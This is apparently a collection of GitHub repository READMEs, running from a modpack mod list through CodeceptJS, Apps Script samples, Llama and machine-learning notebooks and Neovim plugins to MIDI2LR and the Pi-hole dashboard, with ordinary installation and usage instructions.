HydroEnergy	1.1.1
IC2 Crop-Breeding Plugin	1.3.1
IFU	1.9.6
IguanaTweaksTConstruct	2.3.0
Industrial Craft 2	2.2.82a-experimental
Infernal-Mobs	1.7.9-GTNH
InGame-Info-XML	2.8.5
INpureCore	1.1.5-GTNH
inventory-tweaks	1.6.1
ironchest	6.0.74
IronChestMinecarts	1.0.8
Irontanks	1.2.6
Jabba	1.3.1
JourneyMap Server	1.0.5
JourneyMap	5.1.4p6-fairplay
KekzTech	0.9.4
KubaTech	0.13.11
LittleTiles	1.2.9-GTNH
LogisticsPipes	1.0.8-GTNH
LootGames	2.0.8
LunatriusCore	1.1.7-GTNH
lwjgl3ify	1.5.7
MagicBees	2.7.1-GTNH
MalisisCore	0.14.9
MalisisDoors	1.14.0-GTNH
Mantle	0.3.7
Minecraft-Backpack-Mod	2.2.12-GTNH
Minetweaker-Gregtech-5-Addon	2.0.5
Mobs-Info	0.1.12-GTNH
ModTweaker	0.9.10
ModularUI	1.1.24
Morpheus	1.6.21
MouseTweaks	2.4.9-GTNH
MrTJPCore	1.1.5
MX-Random	0.2.0
Natura	2.5.7
NaturesCompass	1.3.6-GTNH
nei-custom-diagram	1.5.14
NEI-Integration	1.3.3
neiaddons	1.13.0
NetherPortalFix	1.1.2
NewHorizonsCoreMod	2.2.50
Nodal-Mechanics	1.1.-6-GTNH
NotEnoughEnergistics	1.4.6
NotEnoughIds	1.5.3
NotEnoughItems	2.4.13-GTNH
Nuclear-Control	2.5.0
Nutrition	0.0.5
oauth	1.06.1-GTNH
OCGlasses	1.4.2-GTNH
OpenBlocks	1.8.2-GTNH
OpenComputers	1.9.19-GTNH
OpenModsLib	0.10.6
OpenModularTurrets	2.2.11-247
OpenPrinter	0.1.3-GTNH
OpenSecurity	1.0.120-GTNH
Opis	1.3.8-mapless
OverloadedArmorBar	1.0.3
Pam's Harvest the Nether	1.7.10a
PersonalSpace	1.0.28
Player-API	1.4.3
ProjectBlue	1.1.12-GTNH
ProjectRed	4.8.0-GTNH
Railcraft	9.15.2
Random-Things	2.4.5
Realistic-World-Gen	alpha-1.3.8
RemoteIO	2.4.8
Roguelike-Dungeons	1.5.3-GTNH
SC2	2.0.2
Schematica	1.9.4-GTNH
SGCraft	1.3.13-GTNH
Share-Where-I-am	2.0.2
SleepingBags	0.1.4
SpecialMobs	3.4.3
SpiceOfLife	2.1.1-carrot
Steve-s-Factory-Manager	1.1.7-GTNH
StevesAddons	0.10.27
StorageDrawers-BiomesOPlenty	1.11.17-GTNH
StorageDrawers-Forestry	1.11.17-GTNH
StorageDrawers-Misc	1.11.18-GTNH
StorageDrawers-Natura	1.11.17-GTNH
StorageDrawers	1.12.1-GTNH
StructureCompat	0.4.0
StructureLib	1.2.9
Super-TiC	1.2.5
supersolarpanels	1.1.2-GT-NH-Mod
Tainted-Magic	7.6.3-GTNH
TC-4-Tweaks	1.5.18
TCNEIAdditions	1.2.2
TCNodeTracker	1.1.7
TecTech	5.3.22
Thaumcraft NEI Plugin	1.7a
thaumcraft-research-tweaks	1.0.6
Thaumcraft	4.2.3.5a
ThaumcraftMobAspects	1.0.0-GTNH
Thaumic Machina	0.2.1
Thaumic_Exploration	1.2.0-GTNH
ThaumicBases	1.5.6
ThaumicBoots	1.1.0
ThaumicEnergistics	1.5.4-GTNH
ThaumicHorizons	1.4.0
thaumicinsurgence	0.2.7
ThaumicInventoryScanning	1.0.12-GTNH
ThaumicTinkerer	2.8.5
TiC-Tooltips	1.3.0
Tinkers' Defense	1.2.1d
Tinkers-Gregworks	1.0.25
TinkersConstruct	1.10.12-GTNH
TinkersMechworks	0.3.0
TooMuchLoot	4.1.0-GTNH
ToroHealth	1.0.4
Translocators	1.1.2.21
Travellers Gear	1.16.6
TravellersGearNeo	1.0
twilightforest	2.5.1
TX-Loader	1.6.3
UniMixins	0.1.14
Universal-Singularities	8.6.7
VisualProspecting	1.2.1
waila	1.6.5
WailaHarvestability	1.1.10-GTNH
WAILAPlugins	0.3.0
WanionLib	1.8.4
WarpTheory	1.2.16-GTNH
WAWLA	1.1.3-GTNH
WirelessCraftingTerminal	1.10.1
WirelessRedstone-CBE	1.4.8
Witchery	0.24.1
WitcheryExtras	1.1.14
WitchingGadgets	1.3.6-GTNH
Yamcl	0.5.86
Ztones	2.2.2

Maintained by Dream-MasterXXL, Namikon, Drobac, Teteros, Tec, Lefty, Arnab, Methes, Warlord Wossman, SanMan911, Bigbass1997, Ugachaga, MineAnPlay, Giovanni_NL, Ethryan, MTesseracT, Bryfer, Bartimaeusnek, codewarrior, Moronwmachinegun, Mitchej, Zoko061602, Spartak, Highbeam, 0lafe, Teirdalin, Prometheus, KiloJoel, Glease, Kiwi, Bot, LeaGris, Boubou, Glowredman, Repo, DvDManDT, Moller, Colen, Minecraft7771, MuXiu1997, Runakai, YannickMG, SinTh0r4s, Alexdoru, Kiwi, bombcar, vlaetansky, POPlol333, Raven, miozune, GlodBlock, asdflj, D-Cysteine, DianeXD, Ethryan, BlueWeabo, Kuba, Quarri, Steelux8, S4mpsa, chochem, iouter, Elisis and many more.

googleworkspace/apps-script-samples

2023-12-13T01:35:24Z

Apps Script samples for Google Workspace products.

Google Apps Script Samples

Various sample code and projects for the Google Apps Script platform, a JavaScript platform in the cloud.

Learn more at developers.google.com.

Google APIs

AdminSDK

Manage domains and apps

Advanced Services

Access Google APIs via Advanced Google services

Calendar

Classroom

Manage Google Classroom

Data Studio

Docs

Drive

Forms

Notification add-on

Gmail

People

Listing Connections

Sheets

Slides

Tasks

Templates

Build off a working framework for new Apps Script projects.

Triggers

Call an Apps Script function such as onOpen, onEdit, or onInstall in an add-on
Create a time-driven trigger

Codelabs

Codelab tutorials combine detailed explanation, coding exercises, and documented best practices to help engineers get up to speed with key Google technologies. Here's a list of Apps Script codelabs:

Clone using the `clasp` command-line tool

Learn how to clone, pull, and push Apps Script projects on the command-line using clasp.

Lint

Run ESLint over this whole repository with:

npm run lint

This command will fix simple errors.

codeceptjs/CodeceptJS

2023-12-13T01:35:24Z

Supercharged End 2 End Testing Framework for NodeJS

Build Status:

Appium Helper:

Web Helper:

CodeceptJS

Reference: Helpers API

Supercharged E2E Testing

CodeceptJS is a new testing framework for end-to-end testing with WebDriver (or others). It abstracts browser interaction to simple steps that are written from a user's perspective. A simple test that verifies the "Welcome" text is present on a main page of a site will look like:

Feature('CodeceptJS demo');

Scenario('check Welcome page on site', ({ I }) => {
  I.amOnPage('/');
  I.see('Welcome');
});

CodeceptJS tests are:

Synchronous. You don't need to care about callbacks or promises or test scenarios which are linear. But, your tests should be linear.
Written from user's perspective. Every action is a method of I. That makes test easy to read, write and maintain even for non-tech persons.
Backend API agnostic. We don't know which WebDriver implementation is running this test.

CodeceptJS uses Helper modules to provide actions to I object. Currently, CodeceptJS has these helpers:

Playwright - is a Node library to automate the Chromium, WebKit and Firefox browsers with a single API.
Puppeteer - uses Google Chrome's Puppeteer for fast headless testing.
WebDriver - uses webdriverio to run tests via WebDriver protocol.
TestCafe - cheap and fast cross-browser test automation.
Appium - for mobile testing with Appium
Detox - This is a wrapper on top of Detox library, aimed to unify testing experience for CodeceptJS framework. Detox provides a grey box testing for mobile applications, playing especially well for React Native apps.

And more to come...

Why CodeceptJS?

CodeceptJS is a successor of Codeception, a popular full-stack testing framework for PHP. With CodeceptJS your scenario-driven functional and acceptance tests will be as simple and clean as they can be. You don't need to worry about asynchronous nature of NodeJS or about various APIs of Playwright, Selenium, Puppeteer, TestCafe, etc. as CodeceptJS unifies them and makes them work as they are synchronous.

Features

🪄 AI-powered with GPT features to assist and heal failing tests.
☕ Based on Mocha testing framework.
💼 Designed for scenario driven acceptance testing in BDD-style.
💻 Uses ES6 natively without transpiler.
Also plays nice with TypeScript.
</> Smart locators: use names, labels, matching text, CSS or XPath to locate elements.
🌐 Interactive debugging shell: pause test at any point and try different commands in a browser.
Easily create tests, pageobjects, stepobjects with CLI generators.

Installation

npm i codeceptjs --save

Move to directory where you'd like to have your tests (and CodeceptJS config) stored, and execute:

npx codeceptjs init

to create and configure test environment. It is recommended to select WebDriver from the list of helpers, if you need to write Selenium WebDriver tests.

After that create your first test by executing:

npx codeceptjs generate:test

Now test is created and can be executed with

npx codeceptjs run

If you want to write your tests using TypeScript just generate standard Type Definitions by executing:

npx codeceptjs def .

Later you can even automagically update Type Definitions to include your own custom helpers methods.

Note:

CodeceptJS requires Node.js version 12+ or later.

Usage

Learn CodeceptJS by examples. Let's assume we have CodeceptJS installed and WebDriver helper enabled.

Basics

Let's see how we can handle basic form testing:

Feature('CodeceptJS Demonstration');

Scenario('test some forms', ({ I }) => {
  I.amOnPage('http://simple-form-bootstrap.plataformatec.com.br/documentation');
  I.fillField('Email', 'hello@world.com');
  I.fillField('Password', secret('123456'));
  I.checkOption('Active');
  I.checkOption('Male');
  I.click('Create User');
  I.see('User is valid');
  I.dontSeeInCurrentUrl('/documentation');
});

All actions are performed by I object; assertions functions start with see function. In these examples all methods of I are taken from WebDriver helper, see reference to learn how to use them.

Let's execute this test with run command. Additional option --steps will show us the running process. We recommend use --steps or --debug during development.

npx codeceptjs run --steps

This will produce an output:

CodeceptJS Demonstration --
 test some forms
 • I am on page "http://simple-form-bootstrap.plataformatec.com.br/documentation"
 • I fill field "Email", "hello@world.com"
 • I fill field "Password", "****"
 • I check option "Active"
 • I check option "Male"
 • I click "Create User"
 • I see "User is valid"
 • I dont see in current url "/documentation"
 ✓ OK in 17752ms

CodeceptJS has an ultimate feature to help you develop and debug your test. You can pause execution of test in any place and use interactive shell to try different actions and locators. Just add pause() call at any place in a test and run it.

Interactive shell can be started outside test context by running:

npx codeceptjs shell

Actions

We filled form with fillField methods, which located form elements by their label. The same way you can locate element by name, CSS or XPath locators in tests:

// by name
I.fillField('user_basic[email]', 'hello@world.com');
// by CSS
I.fillField('#user_basic_email', 'hello@world.com');
// don't make us guess locator type, specify it
I.fillField({css: '#user_basic_email'}, 'hello@world.com');

Other methods like checkOption, and click work in a similar manner. They can take labels or CSS or XPath locators to find elements to interact.

Assertions

Assertions start with see or dontSee prefix. In our case we are asserting that string 'User is valid' is somewhere in a webpage. However, we can narrow the search to particular element by providing a second parameter:

I.see('User is valid');
// better to specify context:
I.see('User is valid', '.alert-success');

In this case 'User is valid' string will be searched only inside elements located by CSS .alert-success.

Grabbers

In case you need to return a value from a webpage and use it directly in test, you should use methods with grab prefix. They are expected to be used inside async/await functions, and their results will be available in test:

Feature('CodeceptJS Demonstration');

Scenario('test page title', async ({ I }) => {
  I.amOnPage('http://simple-form-bootstrap.plataformatec.com.br/documentation');
  const title = await I.grabTitle();
  I.expectEqual(title, 'Example application with SimpleForm and Twitter Bootstrap'); // Avaiable with Expect helper. -> https://codecept.io/helpers/Expect/
});

The same way you can grab text, attributes, or form values and use them in next test steps.

Before/After

Common preparation steps like opening a web page, logging in a user, can be placed in Before or Background:

const { I } = inject();

Feature('CodeceptJS Demonstration');

Before(() => { // or Background
  I.amOnPage('http://simple-form-bootstrap.plataformatec.com.br/documentation');
});

Scenario('test some forms', () => {
  I.click('Create User');
  I.see('User is valid');
  I.dontSeeInCurrentUrl('/documentation');
});

Scenario('test title', () => {
  I.seeInTitle('Example application');
});

PageObjects

CodeceptJS provides the most simple way to create and use page objects in your test. You can create one by running

npx codeceptjs generate pageobject

It will create a page object file for you and add it to the config. Let's assume we created one named docsPage:

const { I } = inject();

module.exports = {
  fields: {
    email: '#user_basic_email',
    password: '#user_basic_password'
  },
  submitButton: {css: '#new_user_basic input[type=submit]'},

  sendForm(email, password) {
    I.fillField(this.fields.email, email);
    I.fillField(this.fields.password, password);
    I.click(this.submitButton);
  }
}

You can easily inject it to test by providing its name in test arguments:

Feature('CodeceptJS Demonstration');

Before(({ I }) => { // or Background
  I.amOnPage('http://simple-form-bootstrap.plataformatec.com.br/documentation');
});

Scenario('test some forms', ({ I, docsPage }) => {
  docsPage.sendForm('hello@world.com','123456');
  I.see('User is valid');
  I.dontSeeInCurrentUrl('/documentation');
});

When using Typescript, replace module.exports with export for autocompletion.

Contributing

Contributors

Thanks all to those who are and will have contributing to this awesome project!

License

MIT © CodeceptJS Team

eclipse-iceoryx/.eclipsefdn

2023-12-13T01:36:12Z

Repository to host configurations related to the Eclipse Foundation.

MarcosCarreira/DermanPapers

2023-12-12T01:52:20Z

All the projects related to Llama

Llama

Welcome to my Repo! 😄 This repository contains notebooks:

That can be run on Google Colab to understand how to use Llama 2 models
Examples of fine-tuning Llama 2 models with different datasets (you can)
Prompt-engineering with open source tools/frameworks such as Langchain, FAISS, etc
and other fun stuff you can do with Llama!

LongOnly/Quantitative-Notebooks

2023-12-12T01:52:20Z

Interpretable Machine Learning with Python, published by Packt

Interpretable Machine Learning with Python

This is the code repository for Interpretable Machine Learning with Python, published by Packt.

Learn to build interpretable high-performance models with hands-on real-world examples

What is this book about?

Do you want to understand your models and mitigate the risks associated with poor predictions using practical machine learning (ML) interpretation? Interpretable Machine Learning with Python can help you overcome these challenges, using interpretation methods to build fairer and safer ML models.

This book covers the following exciting features:

Recognize the importance of interpretability in business
Study models that are intrinsically interpretable such as linear models, decision trees, and Naïve Bayes
Become well-versed in interpreting models with model-agnostic methods
Visualize how an image classifier works and what it learns
Understand how to mitigate the influence of bias in datasets

If you feel this book is for you, get your copy today!

Instructions and Navigations

All of the code is organized into folders. For example, Chapter02.

The code will look like the following:

base_classifier = KerasClassifier(model=base_model,\
                                  clip_values=(min_, max_))
y_test_mdsample_prob = np.max(y_test_prob[sampl_md_idxs],\
                                                       axis=1)
y_test_smsample_prob = np.max(y_test_prob[sampl_sm_idxs],\
                                                       axis=1)

Following is what you need for this book: This book is for data scientists, machine learning developers, and data stewards who have an increasingly critical responsibility to explain how the AI systems they develop work, their impact on decision making, and how they identify and manage bias. Working knowledge of machine learning and the Python programming language is expected.

With the following software and hardware list you can run all code files present in the book (Chapter 1-14).

Software and Hardware List

You can install the software required in any operating system by first installing Jupyter Notebook or Jupyter Lab with the most recent version of Python, or install Anaconda which can install everything at once. While hardware requirements for Jupyter are relatively modest, we recommend a machine with at least 4 cores of 2Ghz and 8Gb of RAM.

Alternatively, to installing the software locally, you can run the code in the cloud using Google Colab or another cloud notebook service.

Either way, the following packages are required to run the code in all the chapters (Google Colab has all the packages denoted with a ^):

Chapter	Software required	OS required
1 - 13	^ Python 3.6+	Windows, Mac OS X, and Linux (Any)
1 - 13	^ matplotlib 3.2.2+	Windows, Mac OS X, and Linux (Any)
1 - 13	^ scikit-learn 0.22.2+	Windows, Mac OS X, and Linux (Any)
1 - 12	^ pandas 1.1.5+	Windows, Mac OS X, and Linux (Any)
2 - 13	machine-learning-datasets 0.01.16+	Windows, Mac OS X, and Linux (Any)
2 - 13	^ numpy 1.19.5+	Windows, Mac OS X, and Linux (Any)
3 - 13	^ seaborn 0.11.1+	Windows, Mac OS X, and Linux (Any)
3 - 13	^ tensorflow 2.4.1+	Windows, Mac OS X, and Linux (Any)
5 - 12	shap 0.38.1+	Windows, Mac OS X, and Linux (Any)
1, 5, 10, 12	^ scipy 1.4.1+	Windows, Mac OS X, and Linux (Any)
5, 10-12	^ xgboost 0.90+	Windows, Mac OS X, and Linux (Any)
6, 11, 12	^ lightgbm 2.2.3+	Windows, Mac OS X, and Linux (Any)
7 - 9	alibi 0.5.5+	Windows, Mac OS X, and Linux (Any)
10 - 13	^ tqdm 4.41.1+	Windows, Mac OS X, and Linux (Any)
2, 9	^ statsmodels 0.10.2+	Windows, Mac OS X, and Linux (Any)
3, 5	rulefit 0.3.1+	Windows, Mac OS X, and Linux (Any)
6, 8	lime 0.2.0.1+	Windows, Mac OS X, and Linux (Any)
7, 12	catboost 0.24.4+	Windows, Mac OS X, and Linux (Any)
8, 9	^ Keras 2.4.3+	Windows, Mac OS X, and Linux (Any)
11, 12	^ pydot 1.3.0+	Windows, Mac OS X, and Linux (Any)
11, 12	xai 0.0.4+	Windows, Mac OS X, and Linux (Any)
1	^ beautifulsoup4 4.6.3+	Windows, Mac OS X, and Linux (Any)
1	^ requests 2.23.0+	Windows, Mac OS X, and Linux (Any)
3	cvae 0.0.3+	Windows, Mac OS X, and Linux (Any)
3	interpret 0.2.2+	Windows, Mac OS X, and Linux (Any)
3	^ six 1.15.0+	Windows, Mac OS X, and Linux (Any)
3	skope-rules 1.0.1+	Windows, Mac OS X, and Linux (Any)
4	PDPbox 0.2.0+	Windows, Mac OS X, and Linux (Any)
4	pycebox 0.0.1+	Windows, Mac OS X, and Linux (Any)
5	alepython 0.1+	Windows, Mac OS X, and Linux (Any)
5	tensorflow-docs 0.0.02+	Windows, Mac OS X, and Linux (Any)
6	^ nltk 3.2.5+	Windows, Mac OS X, and Linux (Any)
7	witwidget 1.7.0+	Windows, Mac OS X, and Linux (Any)
8	^ opencv-python 4.1.2.30+	Windows, Mac OS X, and Linux (Any)
8	^ scikit-image 0.16.2+	Windows, Mac OS X, and Linux (Any)
8	tf-explain 0.2.1+	Windows, Mac OS X, and Linux (Any)
8	tf-keras-vis 0.5.5+	Windows, Mac OS X, and Linux (Any)
9	SALib 1.3.12+	Windows, Mac OS X, and Linux (Any)
9	distython 0.0.3+	Windows, Mac OS X, and Linux (Any)
10	^ mlxtend 0.14.0+	Windows, Mac OS X, and Linux (Any)
10	sklearn-genetic 0.3.0+	Windows, Mac OS X, and Linux (Any)
11	aif360==0.3.0	Windows, Mac OS X, and Linux (Any)
11	BlackBoxAuditing==0.1.54	Windows, Mac OS X, and Linux (Any)
11	dowhy 0.5.1+	Windows, Mac OS X, and Linux (Any)
11	econml 0.9.0+	Windows, Mac OS X, and Linux (Any)
11	^ networkx 2.5+	Windows, Mac OS X, and Linux (Any)
12	bayesian-optimization 1.2.0+	Windows, Mac OS X, and Linux (Any)
12	^ graphviz 0.10.1+	Windows, Mac OS X, and Linux (Any)
12	tensorflow-lattice 2.0.7+	Windows, Mac OS X, and Linux (Any)
13	adversarial-robustness-toolbox 1.5.0+	Windows, Mac OS X, and Linux (Any)

NOTE: the library machine-learning-datasets is the official name of what in the book is referred to as mldatasets. Due to naming conflicts, it had to be changed.

The exact versions of each library, as tested, can be found in the requirements.txt file and installed like this should you have a dedicated environment for them:

> pip install -r requirements.txt

You might get some conflicts specifically with libraries cvae, alepython, pdpbox and xai. If this is the case, try:

> pip install --no-deps -r requirements.txt

Alternatively, you can install libraries one chapter at a time inside of a local Jupyter environment using cells with !pip install or run all the code in Google Colab with the following links:

Remember to make sure you click on the menu item "File > Save a copy in Drive" as soon you open each link to ensure that your notebook is saved as you run it. Also, notebooks denoted with plus sign (+) are relatively compute-intensive, and will take an extremely long time to run on Google Colab but if you must go to "Runtime > Change runtime type" and select "High-RAM" for runtime shape. Otherwise, a better cloud enviornment or local environment is preferable.

We also provide a PDF file that has color images of the screenshots/diagrams used in this book. Click here to download it.

Summary

The book does much more than explain technical topics, but here's a summary of the chapters:

Get to Know the Authors

Serg Masís has been at the confluence of the internet, application development, and analytics for the last two decades. Currently, he's a Climate and Agronomic Data Scientist at Syngenta, a leading agribusiness company with a mission to improve global food security. Before that role, he co-founded a startup, incubated by Harvard Innovation Labs, that combined the power of cloud computing and machine learning with principles in decision-making science to expose users to new places and events. Whether it pertains to leisure activities, plant diseases, or customer lifetime value, Serg is passionate about providing the often-missing link between data and decision-making — and machine learning interpretation helps bridge this gap more robustly.

Download a free PDF

If you have already purchased a print or Kindle version of this book, you can get a DRM-free PDF version at no cost.
Simply click on the link to claim your free PDF.

https://packt.link/free-ebook/9781800203907

privau/searxng

2023-12-12T01:53:07Z

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booqable/kylie-theme

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jpmcb/nvim-llama

2023-12-13T01:37:34Z

🦙 Llama 2 and llama.cpp interfaces for Neovim

🦙 nvim-llama

Llama 2 and llama.cpp interfaces for Neovim

Project status

🏗️ 👷 Warning! Under active development!! 👷 🚧

This plugin was created as a proof of concept plugin for running large language model technology within Neovim on consumer hardware. Using llama.cpp and a downloaded model showed that this goal is indeed possible.

But distributing, building, maintaining, and running a large C/C++ project (llama.cpp) is abit out of scope of what makes sense for a liteweight nvim plugin.

Therefore, this project will be transitiion to use Ollama, a llama.cpp runner in docker. Ideally, this means that all you'll need to run nvim-llama is docker!

You can expect these changes in Q1 2024.

Installation

Use your favorite package manager to install the plugin:

Packer

  use 'jpmcb/nvim-llama'

lazy.nvim

{
    'jpmcb/nvim-llama'
}

vim-plug

Plug 'jpmcb/nvim-llama'

Setup & configuration

In your init.vim, setup the plugin:

require('nvim-llama').setup {}

You can provide the following optional configuration table to the setup function:

local defaults = {
    -- See plugin debugging logs
    debug = false,

    -- Build llama.cpp for GPU acceleration on Apple M chip devices.
    -- If you are using an Apple M1/M2 laptop, it is highly recommended to
    -- use this since, depending on the model, may drastically increase performance.
    build_metal = false,
}

Models

Llama.cpp supports an incredible number of models.

To start using one, you'll need to download an appropriately sized model that is supported by llama.cpp.

The 13B GGUF CodeLlama model is a really good place to start: https://huggingface.co/TheBloke/CodeLlama-13B-GGUF

In order to use a model, it must be in the llama.cpp/models/ directory which is expected to be found at ~/.local/share/llama.cpp/models.

The following script can be useful for downloading a model to that directory:

LLAMA_CPP="~/.local/share/nvim/llama.cpp"
MODEL="codellama-13b.Q4_K_M.gguf"

pushd "${LLAMA_CPP}"
    if [ ! -f models/${MODEL} ]; then
        curl -L "https://huggingface.co/TheBloke/CodeLlama-13B-GGUF/resolve/main/${MODEL}" -o models/${MODEL}
    fi
popd

In the future, this project may provide the capability to download models automatically.

License

This project is dual licensed under MIT (first party plugin code) and the Llama 2 license. By using this plugin, you agree to both terms and assert you have already have your own non-transferable license for Llama 2 from Meta AI.

echasnovski/mini.move

2023-12-13T01:37:34Z

Neovim Lua plugin to move any selection in any direction. Part of 'mini.nvim' library.

Move any selection in any direction

See more details in Features and help file.

⦿ This is a part of mini.nvim library. Please use this link if you want to mention this module.

⦿ All contributions (issues, pull requests, discussions, etc.) are done inside of 'mini.nvim'.

⦿ See the repository page to learn about common design principles and configuration recipes.

If you want to help this project grow but don't know where to start, check out contributing guides of 'mini.nvim' or leave a Github star for 'mini.nvim' project and/or any its standalone Git repositories.

Demo

https://user-images.githubusercontent.com/24854248/213466308-2e732d83-7c49-452d-8974-6b18b38bf89f.mp4

Features

Works in two modes:
- Visual mode. Select text (charwise with v, linewise with V, and blockwise with CTRL-V) and press customizable mapping to move in all four directions (left, right, down, up). It keeps Visual mode.
- Normal mode. Press customizable mapping to move current line in all four directions (left, right, down, up).
- Special handling of linewise movement:
  - Vertical movement gets reindented with =.
  - Horizontal movement is improved indent/dedent with > / <.
  - Cursor moves along with selection.
Provides both mappings and Lua functions for motions. See :h MiniMove.move_selection() and :h MiniMove.move_line().
Respects v:count. Movement mappings can be preceded by a number which multiplies command effect.
All consecutive moves (regardless of direction) can be undone by a single u.
Respects preferred column for vertical movement. It will vertically move selection as how cursor is moving (not strictly vertically if target column is not present in target line).

Installation

This plugin can be installed as part of 'mini.nvim' library (recommended) or as a standalone Git repository.

There are two branches to install from:

main (default, recommended) will have latest development version of plugin. All changes since last stable release should be perceived as being in beta testing phase (meaning they already passed alpha-testing and are moderately settled).
stable will be updated only upon releases with code tested during public beta-testing phase in main branch.

Here are code snippets for some common installation methods (use only one):

With folke/lazy.nvim

Github repo	Branch	Code snippet
'mini.nvim' library	Main	`{ 'echasnovski/mini.nvim', version = false },`
Stable	`{ 'echasnovski/mini.nvim', version = '*' },`
Standalone plugin	Main	`{ 'echasnovski/mini.move', version = false },`
Stable	`{ 'echasnovski/mini.move', version = '*' },`

With wbthomason/packer.nvim

Github repo	Branch	Code snippet
'mini.nvim' library	Main	`use 'echasnovski/mini.nvim'`
Stable	`use { 'echasnovski/mini.nvim', branch = 'stable' }`
Standalone plugin	Main	`use 'echasnovski/mini.move'`
Stable	`use { 'echasnovski/mini.move', branch = 'stable' }`

With junegunn/vim-plug

Github repo	Branch	Code snippet
'mini.nvim' library	Main	`Plug 'echasnovski/mini.nvim'`
Stable	`Plug 'echasnovski/mini.nvim', { 'branch': 'stable' }`
Standalone plugin	Main	`Plug 'echasnovski/mini.move'`
Stable	`Plug 'echasnovski/mini.move', { 'branch': 'stable' }`

Important: don't forget to call require('mini.move').setup() to enable its functionality.

Note: if you are on Windows, there might be problems with too long file paths (like error: unable to create file <some file name>: Filename too long). Try doing one of the following:

Enable corresponding git global config value: git config --system core.longpaths true. Then try to reinstall.
Install plugin in other place with shorter path.

Default config

-- No need to copy this inside `setup()`. Will be used automatically.
{
  -- Module mappings. Use `''` (empty string) to disable one.
  mappings = {
    -- Move visual selection in Visual mode. Defaults are Alt (Meta) + hjkl.
    left = '<M-h>',
    right = '<M-l>',
    down = '<M-j>',
    up = '<M-k>',

    -- Move current line in Normal mode
    line_left = '<M-h>',
    line_right = '<M-l>',
    line_down = '<M-j>',
    line_up = '<M-k>',
  },

  -- Options which control moving behavior
  options = {
    -- Automatically reindent selection during linewise vertical move
    reindent_linewise = true,
  },
}

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rsjaffe/MIDI2LR

2023-12-13T01:37:34Z

An application and plugin to remotely control Lightroom with a MIDI controller

MIDI2LR

MIDI2LR is an application that interfaces MIDI controllers with Lightroom Classic. Version 4 requires Lightroom 10 Classic, version 5 Lightroom 11 Classic: use version 3 for earlier versions of Lightroom.

It processes MIDI input into develop parameter updates and photo actions, and sends MIDI output when parameters are changed for motorized feedback (on controllers that have motorized faders). A listing of available Lightroom commands is in the Wiki. Assistance on the code and design is welcome.

MIDI2LR supports all languages Lightroom supports: Deutsch, English, español, français, हिन्दी, italiano, 日本語, 한국어, Nederlands, norsk, polski, português, русский, Svenska, ภาษาไทย and 中文 (简体中文和繁體中文). इंस्टॉलर हिंदी का समर्थन नहीं करता है। हालांकि, आवेदन करता है। MIDI2LR इंस्टॉलर के लिए उपयोग की जाने वाली भाषा की परवाह किए बिना सभी भाषाओं का समर्थन करता है।

Translation assistance welcome. Sign up at https://poeditor.com/join/project?hash=v6U0MvufAn.

Support MIDI2LR 💸

Donate to support project development
Unterstützen Sie die Projektentwicklung mit Ihrer Spende
Donación para ayuda al desarrollo de proyectos
Faire un don pour encourager le développement du projet
प्रोजेक्‍ट विकास के समर्थन के लिए दान करें
Dona per supportare lo sviluppo del progetto
プロジェクト開発をサポートするための寄付をお願いします
 프로젝트 개발 지원을 위해 기부
Doneren om projectontwikkeling te steunen
Doner for å støtte prosjektutvikling
Przekaż dotację na prace nad projektem
Doar para apoiar o desenvolvimento de projetos
Перевести деньги, чтобы поддержать разработку проекта
Donera för att stödja projektutveckling
บริจาคเพื่อสนับสนุนการพัฒนาโครงการ
捐赠以支持项目开发
 捐款支持專案開發

Screenshot	Further information
	Discussion Forum: https://github.com/rsjaffe/MIDI2LR/discussions Supported platforms: MacOS or Windows. Building: See the BUILD.txt file. Project Page: Project Page. Wiki and Instruction Manual: Wiki 📖.

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2023-12-12T01:56:34Z

Pi-hole Dashboard for stats and more

Network-wide ad blocking via your own Linux hardware

Pi-hole®'s Web interface (based off of AdminLTE) provides a central location to manage your Pi-hole and review the statistics generated by FTLDNS™.

Easy-to-interpret: simple graphs and beautiful colors make Pi-hole's stats easy to understand
Responsive: looks great on desktop, tablets, and mobile devices
Useful: control and configure your Pi-hole with our settings
Insightful: use the query log, audit log, or long-term stats to gain insight into your networks activity

Installation

The Web interface is enabled by default when you install Pi-hole.

Post-installation: access the Web interface and gain insight into your network's activity

There are several ways to access the dashboard:

http://<IP_ADDRESS_OF_YOUR_PI_HOLE>/admin/
http://pi.hole/admin/ (when using Pi-hole as your DNS server)
http://pi.hole/ (when using Pi-hole as your DNS server)

Once logged in (forgot your password?), you can view your network stats to see things like:

the domains being queried on your network
the time the queries were initiated
the amount of domains that were blocked
the upstream server queries were sent to
the type of queries (A, AAAA, CNAME, SRV, TXT, etc.)

Pi-hole is free, but powered by your support

There are many reoccurring costs involved with maintaining free, open source, and privacy-respecting software; expenses which our volunteer developers pitch in to cover out-of-pocket. This is just one example of how strongly we feel about our software, as well as the importance of keeping it maintained.

Make no mistake: your support is absolutely vital to help keep us innovating!

Donations

Sending a donation using our links below is extremely helpful in offsetting a portion of our monthly expenses:

Alternative support

If you'd rather not donate (which is okay!), there are other ways you can help support us:

Patreon Become a patron for rewards
Digital Ocean affiliate link
Stickermule earn a $10 credit after your first purchase
Pi-hole Swag Store affiliate link
Amazon affiliate link
DNS Made Easy affiliate link
Spreading the word about our software, and how you have benefited from it

Contributing via GitHub

We welcome everyone to contribute to issue reports, suggest new features, and create pull requests.

If you have something to add - anything from a typo through to a whole new feature - we're happy to check it out! Just make sure to fill out our template when submitting your request; the questions that it asks will help the volunteers quickly understand what you're aiming to achieve.

Presentations about Pi-hole

Word-of-mouth continues to help our project grow immensely, and so we are helping make this easier for people.

If you are going to be presenting Pi-hole at a conference, meetup or even a school project, get in touch with us so we can hook you up with free swag to hand out to your audience!

Getting in touch with us

While we are primarily reachable on our Discourse User Forum, we can also be found on a variety of social media outlets. Please be sure to check the FAQ's before starting a new discussion, as we do not have the spare time to reply to every request for assistance.

Features

Mobile friendly interface

Password protection

Detailed graphs and doughnut charts

Top lists of domains and clients

A filterable and sortable query log

An audit log

Long-term statistics to view data over user defined time ranges

A built-in debugger

Black and white lists

The ability to easily manage and configure Pi-hole features

... and all the main features of the Command Line Interface!

API

Full usage available here. Can be accessed at /admin/api.php. With either no parameters or /admin/api.php?summary it returns the following JSON:

{
  "domains_being_blocked":243038,
  "dns_queries_today":2385,
  "ads_blocked_today":414,
  "ads_percentage_today":17.35849,
  "unique_domains":429,
  "queries_forwarded":1537,
  "queries_cached":434,
  "clients_ever_seen":5,
  "unique_clients":5,
  "status":"enabled"
}

There are many more parameters, such as:

type & version
summaryRaw
summary
overTimeData10mins
topItems
getQuerySources
getForwardDestinations
getQueryTypes
getAllQueries
enable
